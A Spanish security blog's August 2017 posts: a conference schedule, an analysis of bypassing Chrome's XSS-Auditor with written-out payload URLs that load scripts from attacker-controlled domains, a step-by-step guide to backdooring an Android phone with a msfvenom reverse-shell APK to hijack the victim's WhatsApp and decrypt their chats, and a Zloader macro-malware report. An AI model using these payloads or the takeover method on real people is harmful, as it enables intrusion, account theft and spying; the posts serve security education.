martes, agosto 29, 2017

Chile & Chema: Tres eventos después de ToorCON

Ya se acaba el mes de Agosto, y con la llegada de la cuesta de Septiembre se avecinan actividades, así que aprovecho el último post de este mes - me voy a saltar el de artículo de mañana por problemas de agenda - para contaros algunas de las actividades que tengo previstas hacer en mi próxima visita a Chile.

Figura 1: Chile & Chema. 3 Eventos después de ToorCON

Estoy actualmente de viaje por la Costa Oeste de EEUU y el fin de semana bajaré a San Diego para desde ahí ir a, Sao Paolo, Santiago de Chile y Buenos Aires. Será en estos son los lugares donde yo voy a estar dando charlas, y a falta de definir mi evento en Argentina, os dejo la agenda que tengo confirmada.

02 de Septiembre: ToorCON en San Diego

Como ya os conté, yo estaré dando una charla - lo mismo con un co-speaker sorpresa - el día 2 de Septiembre en ToorCON. Hablaré de DirtyTooth Hack, y además estará mi compañero Santiago dando otra charla con un tema más que interesante para el pentesting de redes Windows.

Figura 2: ToorCON 2017 en San Diego

05 de Septiembre: 5º Summit País Digital en Santiago de Chile

El 5 llego a Santiago de Chile, y participaré con una charla en el 5º Summit País Digital, donde daré una keynote hablando de .... aún por decidir. Que no tengo claro si hablaré de CiberSeguridad o de algún tema de Transformación Digital. Ya veremos.


Figura 3: 5º Summit País Digital en Santiago de Chile

05 de Septiembre: Dialogando en la Universidad de Chile

Ese mismo día, pero por la tarde y abierto al público, estaré en la Universidad de Chile hablando en una sesión de preguntas y respuestas, en la que contestaré a las cuestiones que me hagan desde el acto todos los participantes.

Figura 4: Registro para la charla en la Universidad de Chile.

06 de Septiembre: Security Innovation Day en Chile

Al día siguiente, aún en Chile pero pensando en nuestros clientes, vamos a organizar el Security Innovation Day de ElevenPaths en Santiago de Chile. Una mañana entera para hablar de ciberseguridad y servicios profesionales en la que estaré con mis compañeros Rames y Gabriel Bergel, entre otros.

Figura 5: Security Innovation Day 2017 en Santiago de Chile

08 de Septiembre: Buenos Aires

El Viernes 8, aún está sin confirmar definitivamente, pero lo más probable es que por la tarde participe en una sesión abierta al público para que el que quiera pueda pasarse. En cuanto tenga la información final os la paso.

Además, a primeros de Septiembre os dejaré también el calendario de eventos Online, para que puedas apuntarte a lo que más te apetezca.

Saludos Malignos!

lunes, agosto 28, 2017

Reflexiones sobre los límites de XSS-Auditor, el filtro Anti-XSS de Google Chrome

Durante el trabajo de creación del libro "Hacking Web Applications: Client-Side Attacks", Enrique Rando estuvo realizando muchas pruebas sobre los principales navegadores de Internet. Como os podéis imaginar, los filtros Anti-XSS, así como otras medidas de protección por defecto contra otros ataques "Client-Side" fueron su día a día. En este artículo nos trae sus reflexiones sobre los límites de XSS-Auditor, la herramienta de protección Anti-XSS de Google Chrome.

Figura 1: Reflexiones sobre los límites de XSS-Auditor, el filtro Anti-XSS de Google Chrome

Jugando con XSS-Auditor de Google Chrome

1.- Introducción

¡Ah, los filtros anti-XSS! Llevan ya su tiempo entre nosotros y sin embargo, siguen planteando problemas de difícil solución y alternativas sobre las que no nos ponemos de acuerdo. Aunque quizá el problema no radique tanto en los propios filtros sino en el inestable terreno en que éstos prestan sus servicios.

Porque: ¿dónde ponemos la línea roja que un filtro anti-XSS no debe permitir sobrepasar? ¿Es preferible ser súper exigentes y detener todos los ataques posibles a costa de sufrir muchos falsos positivos? ¿O es preferible asegurar el funcionamiento de las aplicaciones aunque esto suponga que de vez en cuando un ataque tenga éxito? ¿Está, como dice el refrán, la virtud en el término medio o acaso la falta de un criterio claro y definido no permitiría alcanzar ningún objetivo y sólo serviría para confundir? A veces me alegra pensar que será otro, y no yo, quien tenga que responder estas preguntas.

2.- Como saltarse XSS Auditor por menos de 6 euros

2.1.- La aplicación

Hace algún tiempo me encontré con una aplicación cuyo código tenía unas cuantas características curiosas. En ella me basé cuando escribí el siguiente código:

Figura 2: Se trata de una aplicación que te despierta a la hora que tú le digas.

Figura 3: El despertador

Analizando el código fuente se puede comprobar que existe una vulnerabilidad de XSS, explotable a través del parámetro GET “hora”. Pero XSS-Auditor impide el intento de inyectar código JavaScript en línea:

Figura 4: Bloqueado por XSS-Auditor

… o de insertar una etiqueta “<script>“ que cargue su código desde un servidor, “malicioso.example.net”, controlado por el atacante:

Figura 5: También bloqueado

Pero…

2.2.- Lo que XSS-Auditor deja pasar (y lo que no)

XSS-Auditor es una herramienta contra ataques de Cross-Site Scripting de tipo “reflejado”. Y “Cross-Site Scripting” viene a significar “Scripting entre sitios”. O sea, inyectar scripts de otro sitio en la página víctima. ¿Permitiría XSS-Auditor inyectar scripts si éstos son del propio sitio? Pues… parece que sí.

Figura 6: Same-Site Scripting aceptado.

Lo cual, si se combinara con una posibilidad de subir contenidos al sitio podría ser peligroso. Una condición que impone XSS-Auditor para estos casos es que la URL no lleve una Query String. Las alarmas salta en cuanto haya algo a continuación de un carácter “?”:

Figura 7: Parámetros GET No permitidos.

Lo cual me hace pensar en esas URLs “search engine friendly”. Por ejemplo: ¿Tiene tu web un mecanismo de “control de salidas” que usas cuando tus enlaces re-dirigen a otros sitios? Me refiero al típico “redirect.php” o similar. Entonces, seguro que controlas con una lista blanca los posibles destinos ¿verdad?

Pues, por si acaso, yo añadiría otra condición: asegúrate de que usas un parámetro GET para indicar, de una forma u otra, a dónde quieres enviar a tus usuarios. No sea que, al final, una URL de tu sitio pueda llevarles a donde el atacante quiera mientras XSS-Auditor hace como que no se da cuenta.

Pero hay algo más. A XSS-Auditor parece molestarle que se inyecte un script con un origen extraño incluido en la URL. No quiere permitir a un atacante elegir el dominio desde el que el contenido se descarga. Pero obsérvese el código PHP vulnerable:
Figura 8: Código vulnerable a la inyección de scripts

Justo a continuación del valor de “$hora”, sin ningún espacio de por medio, se añade el texto “AM”. Podríamos ver qué pasa si el script se carga de un dominio cuyo nombre no aparece completo en la URL. Por ejemplo, con:
http://www.example.com/1/?hora=%3CSCRIPT%20SRC=http://example.
Esto produciría que en el código creado apareciera lo siguiente:

Figura 9: Código resultante tras la inyección

… que trataría de cargar el contenido de “http://example.AM” y ejecutarlo como un script. XSS-Auditor, tras comprobar que “script.example.AM” no forma parte de la URL ni del resto de elementos de la petición, parece relajarse y no entrometerse:

Figura 10: Esto sí pasa el filtro

De modo que sólo hace falta comprar un dominio “.AM”, que corresponde al TLD de código de país correspondiente a “Armenia”.

2.2.1.- Hora de abrir la hucha

Pero los dominios “.AM” cuestan más de lo que yo estaría dispuesto a gastarme.

Figura 11: Mucho dinero para un dominio de pruebas...

De modo que mejor me busco otra cosa.

2.2.2.- Vamos a hacerlo "Low cost"

En realidad, no hace falta que el dominio a usar pertenezca al ccTLD “.am”. Basta con que termine en “am”. Y, desde hace unos años, con la puesta en servicio de los TLD genéricos, hay donde elegir. Ahora tenemos un buen número de dominios de primer nivel, más de 1.500, y siguen apareciendo otros nuevos. La lista puede consultarse en ICANN.

Figura 12: Lista de TLDs disponibles

De modo que sólo es cuestión de ver cuántos de ellos terminan en “AM”. O, traducido al lenguaje de las expresiones regulares:
AM\s*$
Usando una herramienta como “grep” o quizá un editor de texto con soporte a la búsqueda por expresión regular, se obtendrá una lista de candidatos. Alguno incluso con caracteres “internacionales”:
AM
AMFAM
AMSTERDAM
CAM
SHRIRAM
STREAM
TEAM
WEBCAM
XN--QXAM
Algunos de ellos pertenecen a una organización que lo usa para sus propios fines y no permite registros de terceros. Otros son relativamente caros. Pero a veces se tiene suerte:

Figura 13: Un dominio por menos de 6 € para la prueba

Esto es bastante más asequible. Supongamos que registro el dominio “example.team”. Entonces podría tener un servidor llamado “script.example.team” que responda a su URL principal con algo tan sencillo como:
alert("¡Te calcé un XSS!");
Y, si alguien visitara
http://www.example.com/1/?hora=%3CSCRIPT%20SRC=http://script.example.te
… vería…

Figura 14: Cuidado con los nuevos TLDs

2.3.- Phishing de ida y vuelta

2.3.1.- El objetivo

En este segundo ejemplo voy a utilizar una aplicación vulnerable que creé en su día para poder hacer los experimentos con gaseosa. Entre otras muchas cosas, la página de inicio de sesión presenta una vulnerabilidad de XSS a través del parámetro GET “url”. Por ejemplo:
http://aplicacion.example.com/login.php?url="><h1>TEXTO INYECTADO</h1><x x="
Figura 15: Inyectando un texto

En este caso, se inyectaba un texto. Y XSS-Auditor lo permite, pues cabría pensar que un texto puede hacer poco daño. Los angloparlantes tienen un refrán que dice “sticks and stones may break my bones, but words can never hurt me”. “Los palos y las piedras pueden romperme los huesos, pero las palabras nunca podrán dañarme”. Suena bien, pero… en casos como éste podría haberse probado con algo del tipo
Llama al teléfono 000000000 para asegurarte de que tu cuenta no ha sido comprometida por el reciente ataque.
No sigo más por este camino. Lo que iba a contar es otra cosa. Resulta que XSS-Auditor permite inyectar enlaces. Incluso con destinos que pudieran ser maliciosos, como en:
http://aplicacion.example.com/login.php?url="><a href="http://malicioso.example.net" target="_blank">Pulsa aqu%26iacute;&lt/a>&lt/h1>&ltx x="
2.3.2.- En vías de ser declarado obsoleto

A riesgo de dar un giro demasiado brusco, quisiera comentar aquí algo que considero una muy buena noticia. Hace unos meses, el equipo desarrollador de Google Chrome anunció que este navegador dejará de soportar las URLs de esquema “data” en las ventanas principales. Puede leerse al respecto en esta URL.

De modo que, antes de que sea demasiado tarde para contarlo, vamos a ver qué podríamos hacer con una URL de tipo data de modo que XSS-Auditor no se percate.

2.3.3.- Cuidado con lo que te inyectan

Probemos, pues, con un enlace cuyo destino sea una URL de esquema “data”. La inyección podría usar hojas de estilo en cascada para mejorar el aspecto visual…

Figura 16: Inyección con "data"

El resultado es un mensaje que quiere resultar atractivo:

Figura 17: Inyección en la página de login

Cuando el usuario haga clic en él, se abrirá una nueva ventana y se cargará en ella una URL con esquema “data”:

Figura 18: Inyección resultante

Esto crea un documento HTML con un breve texto

Figura 19: El texto resultante

… y un script que, debidamente embellecido quedaría:

Figura 20: El script resultante

El objeto “opener”, o “window.opener” hace referencia a aquella ventana responsable de que se haya abierto a la actual. En este caso, la del login de la aplicación. Y el script hace que se cargue en ella un nuevo documento, procedente de un servidor malicioso. Algo que se conoce que sucede cuando se utiliza el target="_blank". Cuando el usuario cierre la ventana del aviso, se encontrará con algo muy parecido a lo que tenía al principio:

Figura 21: ¿De vuelta a la misma página?

Y caerá en la trampa si no es capaz de darse cuenta de que hay algo raro en la URL de la barra de direcciones.

Figura 22: La URL es otra. Y no tiene buena pinta.

2.4.- Mode=block debería ser mode=block

Como pudo apreciarse en los primeros ejemplos de este artículo, las últimas versiones de Google Chrome siguen por defecto el comportamiento que establece la cabecera HTTP “X-XSS-Protection: 1; mode=block”. O sea, en caso de detectar un ataque XSS no se muestra el contenido de la página. Pero las cosas no siempre son exactamente como parecen. Supóngase que se tiene una página vulnerable a XSS con un código como el siguiente:

Figura 23: Código vulnerable a XSS con header X-XSS-Protection

Las primeras líneas se aseguran de que la protección contra XSS se configure correctamente. La vulnerabilidad está en el código PHP del final. Y a medio camino se encuentran otros scripts. Pues resulta que si se trata de explotar la vulnerabilidad, por ejemplo con
http://www.example.com/1/2.php?q=<script>alert(1)</script>
… aunque el documento no sea dibujado en pantalla, los scripts previos al punto de inyección se ejecutarán y podrán interactuar con el DOM (Modelo de Objetos del Documento):

Figura 24: Los scripts previos a la inyección XSS se ejecutan

Y sólo cuando se llegue a la inyección se producirá el efecto que se habría esperado tener desde el principio.

Figura 25: A buenas horas.

Supongo que a alguien se le ocurrirá como sacar partido de esto ¿verdad?

2.5.- Para ir terminando

No es que XSS-Auditor sea una mala herramienta. Crear un filtro anti-XSS como éste es una tarea difícil y es imposible cubrir todos los posibles ataques a la vez que se intenta mantener la compatibilidad con todas esas aplicaciones que hay ahí afuera. Es que las aplicaciones deberían estar bien escritas.

Autor: Enrique Rando, escritor en en "Hacking Web Applications: SQL Injection", "Hacking con Buscadores", "Hacking Web Technologies" & "Hacking Web Applications: Client-Side Attacks".

domingo, agosto 27, 2017

Aprende cómo descifrar los mensajes de WhatsApp para Android sin la clave de cifrado

Desde el principio, al menos en los sistemas operativos Android, la base de datos de WhatsApp que se almacena en el dispositivo se ha mantenido cifrada, para evitar que alguien fácilmente pudiera llevarse los mensajes de las conversaciones con solo acceder a la base de datos. En iPhone no ha funcionado de la igual manera, y se ha mantenido sin cifrar durante muchas versiones.

Figura 1: Aprende cómo descifrar los mensajes de WhatsApp para Android sin la clave de cifrado

Sistemáticamente, versión tras versión de WhatsApp en Android se ha ido mirando la forma en la que un analista forense podría descifrar el contenido de una base de datos con las conversaciones. Por aquí hemos visto cómo hacerlo con las bases de datos en formato cyrpt4 o más adelante crypt5, utilizadas por WhatsApp para Android. En este artículo de hoy voy a explicar cómo es posible que alguien que tenga acceso a un dispositivo puede descifrar los backups de WhastApp en Android sin necesidad de su clave.

Los Backups de WhatsApp

WhatsApp tiene como de costumbre generar automáticamente una copia de seguridad cada día, esta guarda tu historial de chats en la memoria de tu teléfono o en una tarjeta de memoria, dependiendo de la configuración del usuario, estas sirven para en un momento dado poder acceder a todas las conversaciones.

Figura 2: Copias de seguridad de esta semana de Agosto de 2017

Para ello se crea un archivo con el formato msgstore-AAAA-MM-DD.1.db.crypt12 que está cifrado mediante una clave que se genera en el dispositivo cada vez que instalamos WhatsApp, por lo que solo podremos utilizar esa clave para descifrar todas las copias de seguridad de la base de datos o bakups, cifrados con ella.

Chat de la víctima con una persona

Este es el proceso mediante el que se puede conseguir acceder a la conversación de un chat desde las copias diarias de WhatsApp para Andorid si se tiene acceso al terminal móvil. Ya se explicó en un artículo hace tiempo como se puede utilizar Metasploit para controlar un terminal Android, y es lo que se va a usar para hacer too el proceso.

Figura 3: Conversación de WhatsApp a la que se quiere acceder

Primero vamos a crear un payload con msfvenom desde nuestro Kali Linux para crear un backdoor en el dispositivo de la víctima. Como se explicó en el artículo de Robar WhatsApp de Android con Metasploit, lo que vamos a utilizar es un APK malicioso creado con msfvenom para que cuando la víctima la ejecute en el terminal, podamos recibir una sesión de Meterpreter en nuestro Metasploit.

Figura 4: Creación del apk maliciosa con msfvenom que hacer Reverse TCP Shell

Ahora vamos a utilizar Metasploit Framework, configuramos Metasploit con nuestros datos para poder escuchar la petición del payload, esta cuando se ejecute en el dispositivo aparecerá la sesión.

Figura 5: Se pone a la escucha el listener de Metasploit para recibir la sesión TCP

Figura 6: Cuando la víctima ejecuta el APK de msfvenom, ya tenemos acceso al terminal Android

Una vez dentro del dispositivo de la víctima, vamos a ir al directorio de WhatsApp en Android. Yo, por defecto, lo tengo ubicado en la sdcard. Aquí se pueden ver las copias de seguridad de las bases de datos de WhatsApp para Android, junto a la que está en uso ahora mismo que corresponde a "msgstore.db.crypt12".

Figura 7: Bases de datos de WhatsApp para Android

Una vez que accedemos a la base de datos de WhatsApp y tenemos acceso al dispositivo del objetivo, nos queda descifrarla. Si el dispositivo objetivo tiene permisos root - es decir, está rooteado -, nos podemos saltar todo este paso hasta donde explico como obtener la clave privada, ya que no sería necesario hacer un robo de la cuenta, y bastaría con usar WhatsApp Viewer con la clave privada y la base de datos. Un dispositivo con permisos de root permite que el usuario pueda tener acceso administrativo del sistema en el dispositivo y esto hace que sea mas vulnerable a ataques de malware y ejecución de exploits.

Pero vamos a suponer que no podemos acceder a la key, y lo que vamos a hacer es generar una nueva copia de seguridad de la base de datos de WhatsApp en otro dispositivo con los mismos chats, aprovechando la información que los servidores de WhatsApp tienen de los dispositivos. Es decir, ellos pueden descifrar las bases de datos sin tener la clave privada del dispositivo. Ellos guardan esas claves por "usabilidad", lo que permite que se migren las bases de datos de un dispositivo a otro sin necesidad de que se tenga la clave de cifrado. Vamos a verlo.

Descifrar la base de datos de WhatsApp para Android

Para hacer este proceso utilizaremos un segundo dispositivo en el que instalaremos WhatsApp para Android. En mi caso utilizaré un emulador de Android cual tiene permisos de root para luego importar la copia de seguridad que nos traemos vía Metasploit desde el dispositivo  Ahora, pasamos la base de datos de WhatsApp que nos hemos traído al dispositivo Android en el emulador, dentro de la carpeta Databases, de la carpeta WhatsApp. Si no aparece se crea.

Figura 8: Copiando la base de datos en el emulador

Ahora abrimos WhatsApp para Android en el emulador e introducimos el numero de teléfono del objetivo para hacer el proceso de registro. Esto hará que le llegue un mensaje de confirmación al terminal del objetivo, que en este momento está controlado por Metasploit. Este es el proceso de registro normal de WhatsApp cuando se conecta la cuenta en un nuevo dispositivo.

Figura 9: Registrando WhatsApp para Android en el emulador

Necesitamos el código de verificación SMS de registro, así que volvemos a la sesión que tenemos de Metasploit, descargamos los mensajes SMS y lo abrimos con un editor de texto. Yo utilizaré nano.

Figura 10: Accediendo a los SMS del terminal objetivo

Ya tenemos el código de verificación. Ahora solo queda restaurar. Eso sí, si el objetivo hubiera configurado una proceso de Verificación en Dos pasos en WhatsApp, ahora no podríamos seguir, así que si tienes WhatsApp, piénsate en configurarte esta protección cuanto antes.

Figura 11: Código de registro de WhatsApp accedido

Una vez terminado de restaurar, esperamos a que nos salgan los chats de WhatsApp para Android esta conexión, que seguirá activa hasta que el objetivo vuelva a verificar su cuenta en su terminal, ya que allí no podrá usarlo. Además, todos los contactos recibirán una alerta de que la clave privada de WhatsApp de este contacto ha cambiando, así que no es un proceso precisamente silencioso.

Figura 12: Restaurando la base de datos de WhatsApp en el emulador

Ya tenemos las conversaciones, que han sido importadas desde la base de datos de WhatsApp, pero ahora las queremos importar para guardarlas. Esto es porque los servidores de WhtasApp guardan información para hacer este proceso, y lo hemos utilizado para descifrar la base de datos sin necesidad de tener las claves de cifrado del dispositivo del objetivo.

Figura 13: Conversaciones importadas desde el dispositivo

Esto es importante, ya que quiere decir que WhatsApp guarda en los servidores información suficiente como para descifrar cualquier base de datos de cualquier terminal sin importar si la clave está disponible o no, lo que abre la puerta a Analistas Forenses para acceder a más datos teniendo la base de datos y la SIM.

Exportando las conversaciones con WhatsApp Viewer

Vamos ahora a hacer una copia de seguridad con WhatApp para cifrar de nuevo esas conversaciones, pero con la clave que se ha generado al instalar WhatsApp en el emulador. Esto nos permitirá tener acceso a la base de datos nueva y a la clave de cifrado que se ha generado en el emulador.

Figura 14: Generando copia de seguridad de la base de datos de WhatsApp

Ahora, localizamos la clave que está en este dispositivo, y que se encuentra en "/data/data/com.whatsapp/files" además de acceder a  la nueva copia de seguridad de la base de datos de mensajes de WhatsApp que hemos creado.

Figura 15: Base de datos creada con la copia de seguridad en el emulador

Figura 16: Clave creada por WhatsApp para este dispositivo.
Se necesita ser root para acceder a ella.

Muy bien. Ya está todo lo que necesitamos para poder descifrarla. Una base de datos de WhatsApp cifrada y la clave de cifrado utilizada. Ya solo nos queda abrir la base de datos con WhatsApp Viewer.

Figura 17: Se le pasa la base de datos y la key a WhatsApp Viewer

Esto generará una base de datos la cual la volveremos abrir con WhatsApp Viewer, y nos permitirá acceder a las conversaciones, también estas se podrán exportar a otro tipo de archivos.

Figura 18: Toda la base de datos queda descifrada y disponible para exportar

Como se ha visto aquí, debido a que WhatsApp permite descifrar bases de datos generadas y cifradas en el dispositivo A en un nuevo dispositivo B sin tener la clave de cifrado del dispositivo B, hemos podido sacar una base de datos de un WhatsApp para Android sin rootear y descifrarla con la información de los propios servidores de WhatsApp.

Figura 19: Cómo descifrar base de datos de WhatsApp para Android sin la clave de cifrado

Para seguir el proceso paso a paso, he hecho este pequeño vídeo acelerado que recoge todos y cada uno de los comandos que hay que hacer para replicar este proceso. Por último, te recomiendo que leas el artículo de Proteger tu WhatsApp a prueba de balas, que ayudaría a evitar que este proceso tuviera éxito, si tienes configurado correctamente todas las medidas de protección, ya que esto podría ser utilizado por criminales para espiar WhatsApp.

Un saludo,

Autor:  Eryos.

sábado, agosto 26, 2017

Zloader ataca con macros Excel a bancos en España

El troyano bancario Zloader ha vuelto a las noticias en España por haber sido utilizado en una campaña de infección de equipos para robar cuentas de clientes de bancos como Santander España, BMN, Abanca o Ruralvia, utilizando para ello documentos Excel enviados por correo electrónico.

Figura 1: Zloader ataca con macros Excel a bancos en España

La técnica de infección no es nueva, pero por ello no deja de seguir siendo válida, y como han analizado en Una al día, todo comienza con la llegada de un documento Excel que pretende ser una factura enviada a la víctima.

Figura 2: Fichero de Excel con macros maliciosas que simula ser una factura

El documento exige que se habiliten las macros en Excel, algo que una vez hecho abre muchas posibilidades al documento. En el blog de ElevenPaths se publicó en el año 2015 un artículo en el que ya veíamos cómo este tipo de malware de macro estaba poniéndose otra vez en primera línea, gracias a la sencillez de crearlo. 

Figura 3: Malware de macro distribuido como factura en 2015

El código de la macro, ofuscado como en el caso de Zloader, o simplemente camuflado como hemos visto en otras ocasiones, lleva a conectarse a un backend que hace de C&C o de dropper, como en este caso, ejecutando el código malicioso en %APPDATA%. Ahí, se puede acceder a los WebInjects, es decir, al fichero de configuración de Zloader que le dice qué debe inyectar en cada página bancaria.

Figura 4: Fichero de configuración de Zloader con los WebInjects

A día de hoy, los equipos de seguridad de las instituciones bancarias han frenando la campaña y las muestras utilizadas están firmadas por todas o casi todas las casas de antimalware, así que si tienes un motor con protección en tiempo real activado debería detectarlos. 

Figura 5: Detección de la muestra analizada por Una al día

No obstante, a pesar de que pasan los años, este tipo de ataques permanecen así que más vale que tengas cuidado tú personalmente con estas campañas de ficheros con macros peligrosas - y avises a tus compañeros de empresa -.

Saludos Malignos!